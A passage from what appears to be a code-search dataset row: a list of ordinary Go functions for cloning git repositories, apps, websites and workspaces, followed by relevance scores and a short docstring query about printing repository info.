{\n\t\tif doUpdate {\n\t\t\tutils.Log(\"update\", path)\n\t\t\tlocal.VCS().Update(path)\n\t\t} else {\n\t\t\tutils.Log(\"exists\", path)\n\t\t}\n\t}\n}", "func cloneIfNotExist() error {\n\t// Check if the repo already exists\n\tif _, err := os.Stat(getGitDir()); err == nil {\n\t\tlog.Println(\"Repository already exists.\")\n\t\treturn nil\n\t}\n\n\t// Since it doesn't exist, we will clone it now\n\tlog.Println(\"Clone repository...\")\n\t_, err := git.PlainClone(getGitDir(), false, &git.CloneOptions{\n\t\tURL: os.Getenv(\"GIT_URL\"),\n\t\tRecurseSubmodules: git.DefaultSubmoduleRecursionDepth,\n\t})\n\n\tif err != nil {\n\t\treturn err\n\t}\n\tlog.Println(\"Done\")\n\treturn nil\n}", "func (r *Repo) Clone() *Repo {\n\tif r == nil {\n\t\treturn nil\n\t}\n\tclone := *r\n\tif r.Sources != nil {\n\t\tclone.Sources = make(map[string]*SourceInfo, len(r.Sources))\n\t\tfor k, v := range r.Sources {\n\t\t\tclone.Sources[k] = v\n\t\t}\n\t}\n\treturn &clone\n}", "func Clone(c Configuration, owner, name string) (Git, filesystem.Filesystem, error) {\n\tfs := memfs.New()\n\n\trepo, err := git.Clone(memory.NewStorage(), fs, &git.CloneOptions{\n\t\tURL: fmt.Sprintf(\n\t\t\t\"https://%s:%[email protected]/%s/%s.git\",\n\t\t\tc.GithubUsername(),\n\t\t\tc.GithubToken(),\n\t\t\towner,\n\t\t\tname,\n\t\t),\n\t\tReferenceName: plumbing.ReferenceName(fmt.Sprintf(\"refs/heads/%s\", c.BaseBranch())),\n\t})\n\n\tif err != nil {\n\t\treturn nil, nil, errors.Errorf(`failed to git clone because \"%s\"`, err)\n\t}\n\n\thead, err := repo.Head()\n\tif err != nil {\n\t\treturn nil, nil, errors.Errorf(`failed to retrieve git head because \"%s\"`, err)\n\t}\n\n\treturn &DefaultGitClient{\n\t\tc: c,\n\t\trepo: repo,\n\t\tbase: head,\n\t}, filesystem.NewMemory(fs), nil\n}", "func (g *baseGithub) CloneBuild(\n\tctx context.Context,\n\towner string,\n\trepository string,\n\tref string,\n) (io.ReadCloser, error) {\n\turl, _, err := g.c.Repositories.GetArchiveLink(\n\t\tctx,\n\t\towner,\n\t\trepository,\n\t\tgithub.Tarball,\n\t\t&github.RepositoryContentGetOptions{\n\t\t\tRef: ref,\n\t\t},\n\t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tresp, err := g.downloadClient.Do(&http.Request{ // nolint: bodyclose\n\t\tMethod: \"GET\",\n\t\tURL: url,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn resp.Body, nil\n}", "func Clone(url string) (*Project, error) {\n\tcmd := exec.Command(\"git\", \"clone\", url, \"--depth\", \"20\", \"--no-single-branch\") // TODO: make it configurable\n\tcmd.Dir = workdir.ProjectsDir()\n\terr := cmd.Run()\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"failed to clone repo\")\n\t}\n\n\t// extract repo name\n\tsubmatch := regexp.MustCompile(`([^/]+?)(?:\\.git)?(?:/)?$`).FindStringSubmatch(url)\n\tif submatch == nil {\n\t\treturn nil, errors.New(\"failed to determine repo name\")\n\t}\n\tname := submatch[1]\n\n\treturn FromName(name)\n}", "func configureCloneDeps(spec *engine.Spec) {\n\tfor _, step := range spec.Steps {\n\t\tif step.Name == \"clone\" {\n\t\t\tcontinue\n\t\t}\n\t\tif len(step.DependsOn) == 0 {\n\t\t\tstep.DependsOn = []string{\"clone\"}\n\t\t}\n\t}\n}", "func createRepo(c *config, repo string, ch chan<- bool) error {\n\t// create context\n\tctxt, cancel := context.WithCancel(context.Background())\n\tdefer cancel()\n\n\tcdp, err := chromedp.New(ctxt, chromedp.WithLog(log.Printf))\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t// run task list\n\terr = cdp.Run(ctxt, gitHub(c, repo))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// shutdown chrome\n\terr = cdp.Shutdown(ctxt)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t// wait for chrome to finish\n\terr = cdp.Wait()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tch <- true\n\treturn nil\n}", "func CommandClone(oldAppName string, newAppName string, skipDeploy bool, ignoreExisting bool) error {\n\tif oldAppName == \"\" {\n\t\treturn errors.New(\"Please specify an app to run the command on\")\n\t}\n\n\tif newAppName == \"\" {\n\t\treturn errors.New(\"Please specify an new app name\")\n\t}\n\n\tif err := common.VerifyAppName(oldAppName); err != nil {\n\t\treturn err\n\t}\n\n\tif err := common.IsValidAppName(newAppName); err != nil {\n\t\treturn err\n\t}\n\n\tif err := appExists(newAppName); err == nil {\n\t\tif ignoreExisting {\n\t\t\tcommon.LogWarn(\"Name is already taken\")\n\t\t\treturn nil\n\t\t}\n\n\t\treturn errors.New(\"Name is already taken\")\n\t}\n\n\tcommon.LogInfo1Quiet(fmt.Sprintf(\"Cloning %s to %s\", oldAppName, newAppName))\n\tif err := createApp(newAppName); err != nil {\n\t\treturn err\n\t}\n\n\tif err := common.PlugnTrigger(\"post-app-clone-setup\", []string{oldAppName, newAppName}...); err != nil {\n\t\treturn err\n\t}\n\n\tif skipDeploy {\n\t\tos.Setenv(\"SKIP_REBUILD\", \"true\")\n\t}\n\n\tif err := common.PlugnTrigger(\"git-has-code\", []string{newAppName}...); err != nil {\n\t\tos.Setenv(\"SKIP_REBUILD\", \"true\")\n\t}\n\n\tif err := common.PlugnTrigger(\"post-app-clone\", []string{oldAppName, newAppName}...); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func derepoCloneDir(directory string) error {\n\tdirectory, err := filepath.Abs(directory)\n\tif err != nil {\n\t\tlog.Printf(\"%s: Failed to get abs path for repo directory while cleaning up '%s'. Was our working directory removed?\", lpStorage, directory)\n\t\treturn err\n\t}\n\t// NOTE: Most of the functionality in this method will be moved to libgin\n\t// since GOGS has similar functions\n\t// Change into directory to cleanup and defer changing back\n\torigdir, err := os.Getwd()\n\tif err != nil {\n\t\tlog.Printf(\"%s: Failed to get abs path for working directory while cleaning up directory '%s'. Was our working directory removed?\", lpStorage, directory)\n\t\treturn err\n\t}\n\tdefer os.Chdir(origdir)\n\tif err := os.Chdir(directory); err != nil {\n\t\tlog.Printf(\"%s: Failed to change working directory to '%s': %v\", lpStorage, directory, err)\n\t\treturn err\n\t}\n\n\t// Uninit annex\n\tcmd := git.AnnexCommand(\"uninit\")\n\t// git annex uninit always returns with an error (-_-) so we ignore the\n\t// error and check if annex info complains instead\n\tcmd.Run()\n\n\t_, err = git.AnnexInfo()\n\tif err != nil {\n\t\tlog.Printf(\"%s: Failed to uninit annex in cloned repository '%s': %v\", lpStorage, directory, err)\n\t}\n\n\tgitdir, err := filepath.Abs(filepath.Join(directory, \".git\"))\n\tif err != nil {\n\t\tlog.Printf(\"%s: Failed to get abs path for git directory while cleaning up directory '%s'. Was our working directory removed?\", lpStorage, directory)\n\t\treturn err\n\t}\n\t// Set write permissions on everything under gitdir\n\tvar mode os.FileMode\n\twalker := func(path string, info os.FileInfo, err error) error {\n\t\t// walker sets the permission for any file found to 0660 and directories to\n\t\t// 770, to allow deletion\n\t\tif info == nil {\n\t\t\treturn nil\n\t\t}\n\n\t\tmode = 0660\n\t\tif info.IsDir() {\n\t\t\tmode = 0770\n\t\t}\n\n\t\tif err := os.Chmod(path, mode); err != nil {\n\t\t\tlog.Printf(\"failed to change permissions on '%s': %v\", path, err)\n\t\t}\n\t\treturn nil\n\t}\n\tif err := filepath.Walk(gitdir, walker); err != nil {\n\t\tlog.Printf(\"%s: Failed to set write permissions for directories and files under gitdir '%s': %v\", lpStorage, gitdir, err)\n\t\treturn err\n\t}\n\n\t// Delete .git directory\n\tif err := os.RemoveAll(gitdir); err != nil {\n\t\tlog.Printf(\"%s: Failed to remove git directory '%s': %v\", lpStorage, gitdir, err)\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func RunGitLabRepositorySyncWorker(ctx context.Context) {\n\tgitLabRepositorySyncWorker.start(ctx)\n}", "func init() {\n\tRootCmd.AddCommand(cloneCmd)\n\n\tcloneCmd.Flags().StringVarP(&BackrestPVCSize, \"pgbackrest-pvc-size\", \"\", \"\",\n\t\t`The size of the PVC capacity for the pgBackRest repository. Overrides the value set in the storage class. This is ignored if the storage type of \"local\" is not used. Must follow the standard Kubernetes format, e.g. \"10.1Gi\"`)\n\tcloneCmd.Flags().StringVarP(&BackrestStorageSource, \"pgbackrest-storage-source\", \"\", \"\",\n\t\t\"The data source for the clone when both \\\"local\\\" and \\\"s3\\\" are enabled in the \"+\n\t\t\t\"source cluster. Either \\\"local\\\", \\\"s3\\\" or both, comma separated. (default \\\"local\\\")\")\n\tcloneCmd.Flags().BoolVar(&MetricsFlag, \"enable-metrics\", false, `If sets, enables metrics collection on the newly cloned cluster`)\n\tcloneCmd.Flags().StringVarP(&PVCSize, \"pvc-size\", \"\", \"\",\n\t\t`The size of the PVC capacity for primary and replica PostgreSQL instances. Overrides the value set in the storage class. Must follow the standard Kubernetes format, e.g. \"10.1Gi\"`)\n}", "func (c *cloner) Clone(applicationName, path string) error {\n\tzipPath, err := c.zipPath()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tr, err := zip.OpenReader(zipPath)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not open sample apps zip '%s': %w\", color.CyanString(zipPath), err)\n\t}\n\tdefer r.Close()\n\n\tfound := false\n\tfor _, f := range r.File {\n\t\tdirPrefix := \"sample-apps-master/\" + applicationName + \"/\"\n\t\tif strings.HasPrefix(f.Name, dirPrefix) {\n\t\t\tif !found { // Create destination directory lazily when source is found\n\t\t\t\tcreateErr := os.Mkdir(path, 0755)\n\t\t\t\tif createErr != nil {\n\t\t\t\t\treturn fmt.Errorf(\"could not create directory '%s': %w\", color.CyanString(path), createErr)\n\t\t\t\t}\n\t\t\t}\n\t\t\tfound = true\n\n\t\t\tif err := copyFromZip(f, path, dirPrefix); err != nil {\n\t\t\t\treturn fmt.Errorf(\"could not copy zip entry '%s': %w\", color.CyanString(f.Name), err)\n\t\t\t}\n\t\t}\n\t}\n\n\tif !found {\n\t\treturn errHint(fmt.Errorf(\"could not find source application '%s'\", color.CyanString(applicationName)), \"Use -f to ignore the cache\")\n\t} else {\n\t\tlog.Print(\"Created \", color.CyanString(path))\n\t}\n\treturn nil\n}", "func cloneAndZip(repopath string, jobname string, targetpath string, conf *Configuration) (string, int64, error) {\n\t// Clone under targetpath (will create subdirectory with repository name)\n\tif err := os.MkdirAll(targetpath, 0777); err != nil {\n\t\terrmsg := fmt.Sprintf(\"Failed to create temporary clone directory: %s\", tmpdir)\n\t\tlog.Print(errmsg)\n\t\treturn \"\", -1, fmt.Errorf(errmsg)\n\t}\n\n\t// Clone\n\tif err := cloneRepo(repopath, targetpath, conf); err != nil {\n\t\tlog.Print(\"Repository cloning failed\")\n\t\treturn \"\", -1, fmt.Errorf(\"Failed to clone repository '%s': %v\", repopath, err)\n\t}\n\n\t// Uninit the annex and delete .git directory\n\trepoparts := strings.SplitN(repopath, \"/\", 2)\n\treponame := strings.ToLower(repoparts[1]) // clone directory is always lowercase\n\trepodir := filepath.Join(targetpath, reponame)\n\tif err := derepoCloneDir(repodir); err != nil {\n\t\tlog.Print(\"Repository cleanup (uninit & derepo) failed\")\n\t\treturn \"\", -1, fmt.Errorf(\"Failed to uninit and cleanup repository '%s': %v\", repopath, err)\n\t}\n\n\t// Zip\n\tlog.Printf(\"Preparing zip file for %s\", jobname)\n\t// use DOI with / replacement for zip filename\n\tzipbasename := strings.ReplaceAll(jobname, \"/\", \"_\") + \".zip\"\n\tzipfilename := filepath.Join(targetpath, zipbasename)\n\tzipsize, err := zip(repodir, zipfilename)\n\tif err != nil {\n\t\tlog.Print(\"Could not zip the data\")\n\t\treturn \"\", -1, fmt.Errorf(\"Failed to create the zip file: %v\", err)\n\t}\n\tlog.Printf(\"Archive size: %d\", zipsize)\n\treturn zipbasename, zipsize, nil\n}", "func cloneSite(args []string) {\n\turl := args[0]\n\n\tif Serve == true {\n\t\t// grab the url from the\n\t\tif !parser.ValidateURL(url) && !parser.ValidateDomain(url) {\n\t\t\tfmt.Println(\"goclone <url>\")\n\t\t} else if parser.ValidateDomain(url) {\n\t\t\t// use the domain as the project name\n\t\t\tname := url\n\t\t\t// CreateProject\n\t\t\tprojectPath := file.CreateProject(name)\n\t\t\t// create the url\n\t\t\tvalidURL := parser.CreateURL(name)\n\t\t\t// Crawler\n\t\t\tcrawler.Crawl(validURL, projectPath)\n\t\t\t// Restructure html\n\t\t\thtml.LinkRestructure(projectPath)\n\t\t\terr := exec.Command(\"open\", \"http://localhost:5000\").Start()\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t\tserver.Serve(projectPath)\n\n\t\t} else if parser.ValidateURL(url) {\n\t\t\t// get the hostname\n\t\t\tname := parser.GetDomain(url)\n\t\t\t// create project\n\t\t\tprojectPath := file.CreateProject(name)\n\t\t\t// Crawler\n\t\t\tcrawler.Crawl(url, projectPath)\n\t\t\t// Restructure html\n\t\t\thtml.LinkRestructure(projectPath)\n\t\t\terr := exec.Command(\"open\", \"http://localhost:5000\").Start()\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t\tserver.Serve(projectPath)\n\t\t} else {\n\t\t\tfmt.Print(url)\n\t\t}\n\t} else {\n\t\t// grab the url from the\n\t\tif !parser.ValidateURL(url) && !parser.ValidateDomain(url) {\n\t\t\tfmt.Println(\"goclone <url>\")\n\t\t} else if parser.ValidateDomain(url) {\n\t\t\t// use the domain as the project name\n\t\t\tname := url\n\t\t\t// CreateProject\n\t\t\tprojectPath := file.CreateProject(name)\n\t\t\t// create the url\n\t\t\tvalidURL := parser.CreateURL(name)\n\t\t\t// Crawler\n\t\t\tcrawler.Crawl(validURL, projectPath)\n\t\t\t// Restructure html\n\t\t\thtml.LinkRestructure(projectPath)\n\t\t\tif Open {\n\t\t\t\t// automatically open project\n\t\t\t\terr := exec.Command(\"open\", projectPath+\"/index.html\").Start()\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t}\n\n\t\t} else if parser.ValidateURL(url) {\n\t\t\t// get the hostname\n\t\t\tname := parser.GetDomain(url)\n\t\t\t// create project\n\t\t\tprojectPath := file.CreateProject(name)\n\t\t\t// Crawler\n\t\t\tcrawler.Crawl(url, projectPath)\n\t\t\t// Restructure html\n\t\t\thtml.LinkRestructure(projectPath)\n\t\t\tif Open {\n\t\t\t\terr := exec.Command(\"open\", projectPath+\"/index.html\").Start()\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tfmt.Print(url)\n\t\t}\n\t}\n}", "func (c OSClientBuildClonerClient) Clone(namespace string, request *buildapi.BuildRequest) (*buildapi.Build, error) {\n\treturn c.Client.Builds(namespace).Clone(request)\n}", "func (p *PublisherMunger) ensureCloned(dst string, dstURL string) error {\n\tif _, err := os.Stat(dst); err == nil {\n\t\treturn nil\n\t}\n\n\terr := exec.Command(\"mkdir\", \"-p\", dst).Run()\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = exec.Command(\"git\", \"clone\", dstURL, dst).Run()\n\treturn err\n}", "func downloadRepositoryData(i *index.Index, url, dir string) {\n\titems := getItems(i, url)\n\n\tpb := progress.New(int64(len(items)), \"Starting…\")\n\n\tpbs := progress.DefaultSettings\n\tpbs.IsSize = false\n\tpbs.ShowSpeed = false\n\tpbs.ShowRemaining = false\n\tpbs.ShowName = false\n\tpbs.NameColorTag = \"{*}\"\n\tpbs.BarFgColorTag = colorTagApp\n\tpbs.PercentColorTag = \"\"\n\tpbs.RemainingColorTag = \"{s}\"\n\n\tpb.UpdateSettings(pbs)\n\tpb.Start()\n\n\tfmtc.Printf(\n\t\t\"Downloading %s %s from remote repository…\\n\",\n\t\tfmtutil.PrettyNum(len(items)),\n\t\tpluralize.Pluralize(len(items), \"file\", \"files\"),\n\t)\n\n\tfor _, item := range items {\n\t\tfileDir := path.Join(dir, item.OS, item.Arch)\n\t\tfilePath := path.Join(dir, item.OS, item.Arch, item.File)\n\n\t\tif !fsutil.IsExist(fileDir) {\n\t\t\terr := os.MkdirAll(fileDir, 0755)\n\n\t\t\tif err != nil {\n\t\t\t\tpb.Finish()\n\t\t\t\tfmtc.NewLine()\n\t\t\t\tprintErrorAndExit(\"Can't create directory %s: %v\", fileDir, err)\n\t\t\t}\n\t\t}\n\n\t\tif fsutil.IsExist(filePath) {\n\t\t\tfileSize := fsutil.GetSize(filePath)\n\n\t\t\tif fileSize == item.Size {\n\t\t\t\tpb.Add(1)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\terr := downloadFile(item.URL, filePath)\n\n\t\tif err != nil {\n\t\t\tpb.Finish()\n\t\t\tfmtc.NewLine()\n\t\t\tprintErrorAndExit(\"%v\", err)\n\t\t}\n\n\t\tpb.Add(1)\n\t}\n\n\tpb.Finish()\n\n\tfmtc.Printf(\"\\n{g}Repository successfully cloned into %s{!}\\n\")\n}", "func cloneCollection(\n\tctx context.Context,\n\tpath string,\n\trevisionId string,\n\tcollection *stotypes.Collection,\n) error {\n\t// init this in \"hack mode\" (i.e. statefile not being read to memory). as soon as we\n\t// manage to write the statefile to disk, use normal procedure to init wd\n\thalfBakedWd := &workdirLocation{\n\t\tpath: path,\n\t}\n\n\tdirAlreadyExists, err := fileexists.Exists(halfBakedWd.Join(\"/\"))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif dirAlreadyExists {\n\t\treturn errors.New(\"dir-to-clone-to already exists!\")\n\t}\n\n\tif err := os.Mkdir(halfBakedWd.Join(\"/\"), 0700); err != nil {\n\t\treturn err\n\t}\n\n\treturn cloneCollectionExistingDir(ctx, path, revisionId, collection)\n}", "func cloneProject(projectPath string) {\n\tvar projectLocation = trimPathAfterLastSlash(projectPath) //get project location\n\tvar prevProjectPath = projectPath + \"_previous\"\n\tvar isFound, _ = searchForFilePath(projectLocation, trimPathBeforeLastSlash(prevProjectPath, false)) //look for a prevProject from project locaation where the project and prevProject should be store\n\tprint(\"\\n\")\n\tif isFound { //if clonedProject already exist, delete it and create a new clone\n\t\tcolor.Style{color.Red}.Print(\"Deleting \", trimPathBeforeLastSlash(prevProjectPath, false), \"... \")\n\t\tdeleteAllFiles(prevProjectPath)\n\t\tcolor.Style{color.Red, color.Bold}.Print(\"Deleted. \")\n\n\t}\n\tprint(\"Cloning \", trimPathBeforeLastSlash(projectPath, false), \".\\n\")\n\tcopy.CopyDir(projectPath, prevProjectPath) //clones project in the same place where the project exist\"\n\tcolor.Style{color.Green}.Print(trimPathBeforeLastSlash(prevProjectPath, false) + \" created at \" + projectLocation + \". \")\n\tcolor.Style{color.Bold}.Print(\"StringsUtility is now ready to make changes.\")\n\tfmt.Print(\"\\n\\n\"+kCONSTANTDASHES, \"\\n\")\n}", "func ForkRepository(ctx context.Context, doer, owner *user_model.User, opts ForkRepoOptions) (*repo_model.Repository, error) {\n\t// Fork is prohibited, if user has reached maximum limit of repositories\n\tif !owner.CanForkRepo() {\n\t\treturn nil, repo_model.ErrReachLimitOfRepo{\n\t\t\tLimit: owner.MaxRepoCreation,\n\t\t}\n\t}\n\n\tforkedRepo, err := repo_model.GetUserFork(ctx, opts.BaseRepo.ID, owner.ID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif forkedRepo != nil {\n\t\treturn nil, ErrForkAlreadyExist{\n\t\t\tUname: owner.Name,\n\t\t\tRepoName: opts.BaseRepo.FullName(),\n\t\t\tForkName: forkedRepo.FullName(),\n\t\t}\n\t}\n\n\trepo := &repo_model.Repository{\n\t\tOwnerID: owner.ID,\n\t\tOwner: owner,\n\t\tOwnerName: owner.Name,\n\t\tName: opts.Name,\n\t\tLowerName: strings.ToLower(opts.Name),\n\t\tDescription: opts.Description,\n\t\tDefaultBranch: opts.BaseRepo.DefaultBranch,\n\t\tIsPrivate: opts.BaseRepo.IsPrivate || opts.BaseRepo.Owner.Visibility == structs.VisibleTypePrivate,\n\t\tIsEmpty: opts.BaseRepo.IsEmpty,\n\t\tIsFork: true,\n\t\tForkID: opts.BaseRepo.ID,\n\t}\n\n\toldRepoPath := opts.BaseRepo.RepoPath()\n\n\tneedsRollback := false\n\trollbackFn := func() {\n\t\tif !needsRollback {\n\t\t\treturn\n\t\t}\n\n\t\trepoPath := repo_model.RepoPath(owner.Name, repo.Name)\n\n\t\tif exists, _ := util.IsExist(repoPath); !exists {\n\t\t\treturn\n\t\t}\n\n\t\t// As the transaction will be failed and hence database changes will be destroyed we only need\n\t\t// to delete the related repository on the filesystem\n\t\tif errDelete := util.RemoveAll(repoPath); errDelete != nil {\n\t\t\tlog.Error(\"Failed to remove fork repo\")\n\t\t}\n\t}\n\n\tneedsRollbackInPanic := true\n\tdefer func() {\n\t\tpanicErr := recover()\n\t\tif panicErr == nil {\n\t\t\treturn\n\t\t}\n\n\t\tif needsRollbackInPanic {\n\t\t\trollbackFn()\n\t\t}\n\t\tpanic(panicErr)\n\t}()\n\n\terr = db.WithTx(ctx, func(txCtx context.Context) error {\n\t\tif err = repo_module.CreateRepositoryByExample(txCtx, doer, owner, repo, false, true); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif err = repo_model.IncrementRepoForkNum(txCtx, opts.BaseRepo.ID); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// copy lfs files failure should not be ignored\n\t\tif err = git_model.CopyLFS(txCtx, repo, opts.BaseRepo); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tneedsRollback = true\n\n\t\trepoPath := repo_model.RepoPath(owner.Name, repo.Name)\n\t\tif stdout, _, err := git.NewCommand(txCtx,\n\t\t\t\"clone\", \"--bare\").AddDynamicArguments(oldRepoPath, repoPath).\n\t\t\tSetDescription(fmt.Sprintf(\"ForkRepository(git clone): %s to %s\", opts.BaseRepo.FullName(), repo.FullName())).\n\t\t\tRunStdBytes(&git.RunOpts{Timeout: 10 * time.Minute}); err != nil {\n\t\t\tlog.Error(\"Fork Repository (git clone) Failed for %v (from %v):\\nStdout: %s\\nError: %v\", repo, opts.BaseRepo, stdout, err)\n\t\t\treturn fmt.Errorf(\"git clone: %w\", err)\n\t\t}\n\n\t\tif err := repo_module.CheckDaemonExportOK(txCtx, repo); err != nil {\n\t\t\treturn fmt.Errorf(\"checkDaemonExportOK: %w\", err)\n\t\t}\n\n\t\tif stdout, _, err := git.NewCommand(txCtx, \"update-server-info\").\n\t\t\tSetDescription(fmt.Sprintf(\"ForkRepository(git update-server-info): %s\", repo.FullName())).\n\t\t\tRunStdString(&git.RunOpts{Dir: repoPath}); err != nil {\n\t\t\tlog.Error(\"Fork Repository (git update-server-info) failed for %v:\\nStdout: %s\\nError: %v\", repo, stdout, err)\n\t\t\treturn fmt.Errorf(\"git update-server-info: %w\", err)\n\t\t}\n\n\t\tif err = repo_module.CreateDelegateHooks(repoPath); err != nil {\n\t\t\treturn fmt.Errorf(\"createDelegateHooks: %w\", err)\n\t\t}\n\n\t\tgitRepo, err := git.OpenRepository(txCtx, repo.RepoPath())\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"OpenRepository: %w\", err)\n\t\t}\n\t\tdefer gitRepo.Close()\n\n\t\t_, err = repo_module.SyncRepoBranchesWithRepo(txCtx, repo, gitRepo, doer.ID)\n\t\treturn err\n\t})\n\tneedsRollbackInPanic = false\n\tif err != nil {\n\t\trollbackFn()\n\t\treturn nil, err\n\t}\n\n\t// even if below operations failed, it could be ignored. And they will be retried\n\tif err := repo_module.UpdateRepoSize(ctx, repo); err != nil {\n\t\tlog.Error(\"Failed to update size for repository: %v\", err)\n\t}\n\tif err := repo_model.CopyLanguageStat(opts.BaseRepo, repo); err != nil {\n\t\tlog.Error(\"Copy language stat from oldRepo failed: %v\", err)\n\t}\n\n\tgitRepo, err := git.OpenRepository(ctx, repo.RepoPath())\n\tif err != nil {\n\t\tlog.Error(\"Open created git repository failed: %v\", err)\n\t} else {\n\t\tdefer gitRepo.Close()\n\t\tif err := repo_module.SyncReleasesWithTags(repo, gitRepo); err != nil {\n\t\t\tlog.Error(\"Sync releases from git tags failed: %v\", err)\n\t\t}\n\t}\n\n\tnotification.NotifyForkRepository(ctx, doer, opts.BaseRepo, repo)\n\n\treturn repo, nil\n}", "func (w *workspace) Clone(ctx context.Context, changes map[span.URI]*fileChange, fs source.FileSource) (_ *workspace, needReinit bool) {\n\t// Prevent races to w.modFile or w.wsDirs below, if w has not yet been built.\n\tw.buildMu.Lock()\n\tdefer w.buildMu.Unlock()\n\n\t// Clone the workspace. This may be discarded if nothing changed.\n\tchanged := false\n\tresult := &workspace{\n\t\tworkspaceCommon: w.workspaceCommon,\n\t\tmoduleSource: w.moduleSource,\n\t\tknownModFiles: make(map[span.URI]struct{}),\n\t\tactiveModFiles: make(map[span.URI]struct{}),\n\t\tworkFile: w.workFile,\n\t\tmod: w.mod,\n\t\tsum: w.sum,\n\t\twsDirs: w.wsDirs,\n\t}\n\tfor k, v := range w.knownModFiles {\n\t\tresult.knownModFiles[k] = v\n\t}\n\tfor k, v := range w.activeModFiles {\n\t\tresult.activeModFiles[k] = v\n\t}\n\n\tequalURI := func(a, b span.URI) (r bool) {\n\t\t// This query is a strange mix of syntax and file system state:\n\t\t// deletion of a file causes a false result if the name doesn't change.\n\t\t// Our tests exercise only the first clause.\n\t\treturn a == b || span.SameExistingFile(a, b)\n\t}\n\n\t// First handle changes to the go.work or gopls.mod file. This must be\n\t// considered before any changes to go.mod or go.sum files, as these files\n\t// determine which modules we care about. If go.work/gopls.mod has changed\n\t// we need to either re-read it if it exists or walk the filesystem if it\n\t// has been deleted. go.work should override the gopls.mod if both exist.\n\tchanged, needReinit = handleWorkspaceFileChanges(ctx, result, changes, fs)\n\t// Next, handle go.mod changes that could affect our workspace.\n\tfor uri, change := range changes {\n\t\t// Otherwise, we only care about go.mod files in the workspace directory.\n\t\tif change.isUnchanged || !isGoMod(uri) || !source.InDir(result.root.Filename(), uri.Filename()) {\n\t\t\tcontinue\n\t\t}\n\t\tchanged = true\n\t\tactive := result.moduleSource != legacyWorkspace || equalURI(modURI(w.root), uri)\n\t\tneedReinit = needReinit || (active && change.fileHandle.Saved())\n\t\t// Don't mess with the list of mod files if using go.work or gopls.mod.\n\t\tif result.moduleSource == goplsModWorkspace || result.moduleSource == goWorkWorkspace {\n\t\t\tcontinue\n\t\t}\n\t\tif change.exists {\n\t\t\tresult.knownModFiles[uri] = struct{}{}\n\t\t\tif active {\n\t\t\t\tresult.activeModFiles[uri] = struct{}{}\n\t\t\t}\n\t\t} else {\n\t\t\tdelete(result.knownModFiles, uri)\n\t\t\tdelete(result.activeModFiles, uri)\n\t\t}\n\t}\n\n\t// Finally, process go.sum changes for any modules that are now active.\n\tfor uri, change := range changes {\n\t\tif !isGoSum(uri) {\n\t\t\tcontinue\n\t\t}\n\t\t// TODO(rFindley) factor out this URI mangling.\n\t\tdir := filepath.Dir(uri.Filename())\n\t\tmodURI := span.URIFromPath(filepath.Join(dir, \"go.mod\"))\n\t\tif _, active := result.activeModFiles[modURI]; !active {\n\t\t\tcontinue\n\t\t}\n\t\t// Only changes to active go.sum files actually cause the workspace to\n\t\t// change.\n\t\tchanged = true\n\t\tneedReinit = needReinit || change.fileHandle.Saved()\n\t}\n\n\tif !changed {\n\t\treturn w, false\n\t}\n\n\treturn result, needReinit\n}" ]
[ "0.72494453", "0.6982261", "0.6927834", "0.6857167", "0.68381953", "0.67713535", "0.6685741", "0.6608449", "0.655927", "0.655684", "0.6525246", "0.6483348", "0.6481677", "0.6461571", "0.6418866", "0.641031", "0.63933265", "0.6387039", "0.6345549", "0.63412005", "0.63314986", "0.62868977", "0.6275781", "0.6218446", "0.62163377", "0.6198788", "0.6191818", "0.6170027", "0.6161469", "0.61276025", "0.61080414", "0.6099909", "0.6074939", "0.60453343", "0.6038714", "0.60331905", "0.60220265", "0.59958667", "0.5983005", "0.59798455", "0.5969786", "0.592694", "0.59191084", "0.59099984", "0.59064025", "0.5882262", "0.58755195", "0.58698", "0.585792", "0.58538604", "0.5822762", "0.58169544", "0.5808861", "0.5775826", "0.5770039", "0.57644266", "0.57441825", "0.57382", "0.5738079", "0.56838876", "0.5682265", "0.5665833", "0.5636656", "0.5632645", "0.55910474", "0.5563828", "0.55512357", "0.55446255", "0.55436176", "0.55352825", "0.55342156", "0.5530286", "0.55269814", "0.55195224", "0.55186486", "0.55162144", "0.55140364", "0.5490216", "0.5457861", "0.54570526", "0.5451816", "0.54461706", "0.5434409", "0.5366555", "0.5344341", "0.5333821", "0.5317291", "0.53129196", "0.5309588", "0.5287011", "0.5266706", "0.5249895", "0.52217555", "0.5218942", "0.5201571", "0.51968676", "0.51924443", "0.5192402", "0.5175907", "0.516337" ]
0.72198164
1
printRepositoryInfo prints basic info about repository data
